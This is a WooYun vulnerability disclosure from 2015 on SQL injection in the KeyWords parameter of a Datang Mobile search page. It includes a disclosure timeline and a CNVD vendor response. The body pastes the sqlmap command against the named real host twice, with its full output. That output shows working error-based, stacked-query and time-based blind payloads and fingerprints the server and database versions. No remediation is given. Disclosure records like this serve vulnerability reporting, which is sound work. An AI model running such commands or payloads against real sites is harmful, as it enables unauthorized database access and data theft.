当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095697

漏洞标题:大唐移动sql注入

相关厂商:大唐移动

漏洞作者: 路人甲

提交时间:2015-02-05 17:00

修复时间:2015-03-22 17:02

公开时间:2015-03-22 17:02

漏洞类型:重要敏感信息泄露

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-05: 细节已通知厂商并且等待厂商处理中
2015-02-10: 厂商已经确认,细节仅向厂商公开
2015-02-20: 细节向核心白帽子及相关领域专家公开
2015-03-02: 细节向普通白帽子公开
2015-03-12: 细节向实习白帽子公开
2015-03-22: 细节向公众公开

简要描述:


详细说明:

http://mobile.datanggroup.cn/Search.aspx?KeyWords=abc
中的KeyWords存在sql注入

# sqlmap -u  "http://mobile.datanggroup.cn/Search.aspx?KeyWords=abc" -p KeyWords
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 04:37:06
[04:37:06] [INFO] testing connection to the target URL
[04:37:06] [INFO] testing if the target URL is stable. This can take a couple of seconds
[04:37:08] [INFO] target URL is stable
[04:37:08] [INFO] heuristic (basic) test shows that GET parameter 'KeyWords' might be injectable (possible DBMS: 'Microsoft SQL Server')
[04:37:08] [INFO] testing for SQL injection on GET parameter 'KeyWords'
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] n
[04:37:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:37:14] [WARNING] reflective value(s) found and filtering out
[04:37:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[04:37:22] [INFO] GET parameter 'KeyWords' is 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' injectable
[04:37:22] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[04:37:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[04:37:22] [WARNING] time-based comparison requires larger statistical model, please wait......
[04:37:44] [INFO] GET parameter 'KeyWords' seems to be 'Microsoft SQL Server/Sybase stacked queries' injectable
[04:37:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[04:38:05] [INFO] GET parameter 'KeyWords' seems to be 'Microsoft SQL Server/Sybase time-based blind' injectable
[04:38:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[04:38:05] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[04:38:05] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[04:38:08] [INFO] target URL appears to have 11 columns in query
[04:38:11] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit] S
GET parameter 'KeyWords' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 52 HTTP(s) requests:
---
Place: GET
Parameter: KeyWords
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: KeyWords=abc%' AND 2399=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(101)+CHAR(113)+(SELECT (CASE WHEN (2399=2399) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(116)+CHAR(102)+CHAR(113))) AND '%'='
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: KeyWords=abc%'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: KeyWords=abc%' WAITFOR DELAY '0:0:5'--
---
[04:38:20] [INFO] testing Microsoft SQL Server
[04:38:20] [INFO] confirming Microsoft SQL Server
[04:38:21] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[04:38:21] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 27 times
[04:38:21] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/mobile.datanggroup.cn'
[*] shutting down at 04:38:21

漏洞证明:

# sqlmap -u  "http://mobile.datanggroup.cn/Search.aspx?KeyWords=abc" -p KeyWords
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 04:37:06
[04:37:06] [INFO] testing connection to the target URL
[04:37:06] [INFO] testing if the target URL is stable. This can take a couple of seconds
[04:37:08] [INFO] target URL is stable
[04:37:08] [INFO] heuristic (basic) test shows that GET parameter 'KeyWords' might be injectable (possible DBMS: 'Microsoft SQL Server')
[04:37:08] [INFO] testing for SQL injection on GET parameter 'KeyWords'
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] n
[04:37:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[04:37:14] [WARNING] reflective value(s) found and filtering out
[04:37:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[04:37:22] [INFO] GET parameter 'KeyWords' is 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' injectable
[04:37:22] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[04:37:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[04:37:22] [WARNING] time-based comparison requires larger statistical model, please wait......
[04:37:44] [INFO] GET parameter 'KeyWords' seems to be 'Microsoft SQL Server/Sybase stacked queries' injectable
[04:37:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[04:38:05] [INFO] GET parameter 'KeyWords' seems to be 'Microsoft SQL Server/Sybase time-based blind' injectable
[04:38:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[04:38:05] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[04:38:05] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[04:38:08] [INFO] target URL appears to have 11 columns in query
[04:38:11] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit] S
GET parameter 'KeyWords' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 52 HTTP(s) requests:
---
Place: GET
Parameter: KeyWords
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: KeyWords=abc%' AND 2399=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(101)+CHAR(113)+(SELECT (CASE WHEN (2399=2399) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(116)+CHAR(102)+CHAR(113))) AND '%'='
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: KeyWords=abc%'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: KeyWords=abc%' WAITFOR DELAY '0:0:5'--
---
[04:38:20] [INFO] testing Microsoft SQL Server
[04:38:20] [INFO] confirming Microsoft SQL Server
[04:38:21] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[04:38:21] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 27 times
[04:38:21] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/mobile.datanggroup.cn'
[*] shutting down at 04:38:21

修复方案:

漏洞修复:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-02-10 09:08

厂商回复:

CNVD确认并复现所述情况,已经由CNVD按以往联系渠道向网站管理单位通报。

最新状态:

暂无